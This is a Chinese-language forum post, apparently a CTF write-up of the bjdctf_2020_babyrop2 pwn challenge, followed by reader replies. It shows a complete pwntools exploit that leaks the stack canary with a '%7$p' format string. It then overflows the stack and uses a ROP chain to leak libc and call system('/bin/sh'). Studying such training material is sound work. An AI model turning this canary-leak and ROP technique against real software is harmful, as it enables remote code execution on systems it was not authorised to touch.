[格式化字符串基础题]bjdctf_2020_babyrop2
本帖最后由 bnuzgn 于 2023-7-31 19:09 编辑参考链接
[*]跟羽夏学 Ghidra ——数据:https://www.cnblogs.com/wingsummer/p/16692229.html
[*]https://blog.csdn.net/pondzhang/article/details/106307463
[*]https://github.com/scwuaptx/Pwngdb
题目信息
64位、libc2.23,开了canary
main函数中可以看出顺序为gift、vuln,还能发现canary的赋值与检测代码。
gift中可以使用格式化字符串漏洞。
备注:ghidra无法自动识别scanf中的字符串(IDA可以哦),需要人工调整,具体参考链接1.
vuln中存在栈溢出漏洞。距离canary0x18个字节。
栈偏移如下
解题思路
需要两步:泄露canary的值、栈溢出得到libc基址。
关键步骤
canary在64位中保存在rbp-0x8处,长度为8字节。因此可以利用字符串格式化泄漏这个值。参考pwngdb的使用方法(链接3),我们在printf函数处下断点,直接找出canary的栈中偏移位置。
如此就可以得到canary的值,会作为字符串输出出来,0x后的16个字符串即为canary的16进制的数值。
其他还有别的绕过canary的方法,参考wiki吧:https://ctf-wiki.org/pwn/linux/user-mode/mitigation/canary/
WP
# -*- coding: utf-8 -*-
from pwn import*
context.log_level='debug'
context.arch='amd64'
context.os = "linux"
pc = "bjdctf_2020_babyrop2"
if __name__ == '__main__':
local = sys.argv
if local == '1':
r= process(pc)
elf = ELF(pc)
libc = elf.libc
else:
r=remote("node4.buuoj.cn",29900)
elf = ELF(pc)
libc = elf.libc
sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
def db():
gdb.attach(r)
pause()
def dbs(src):
gdb.attach(r, src)
vul_addr = elf.sym['vuln']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi_ret_addr = 0x0000000000400993
sla("help u!","%7$p")
r.recvuntil("0x")
canary = int(r.recv(16), 16)
lg('canary')
payload = b'a'*0x18 + p64(canary) + b'a'*8 + p64(rdi_ret_addr) + p64(puts_got) + p64(puts_plt) + p64(vul_addr)
sla("u story!",payload)
puts_addr=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh= libc_base + libc.search(b'/bin/sh').__next__()
lg('libc_base')
payload = b'a'*0x18 + p64(canary) + b'a'*8 + p64(rdi_ret_addr) + p64(bin_sh) + p64(system_addr) + p64(vul_addr)
sla("u story!",payload)
ti() 3666666666666666666 字符串是有点不理解,学习学习 学习一下,感谢lz分享 学习网站,感谢楼主分享 特别好,感谢楼主分享 感谢深入浅出的讲解,学语言的兴趣抬头了 在函数调用时,参数通过栈传递给被调用函数。函数的第一个参数通常存储在栈的低地址处,靠近栈顶,而后续的参数依次存储在较高地址处。使用%n$p的格式控制符可以输出函数调用栈中偏移第n个栈空间的内容。
printf("%7$p");该语句打印参数列表中第7个参数(栈中距离第一个参数偏移7个机器字长的栈空间)的值,以十六进制形式表示。 晚点看下这个pwndbg看起来很 顺手啊
页:
[1]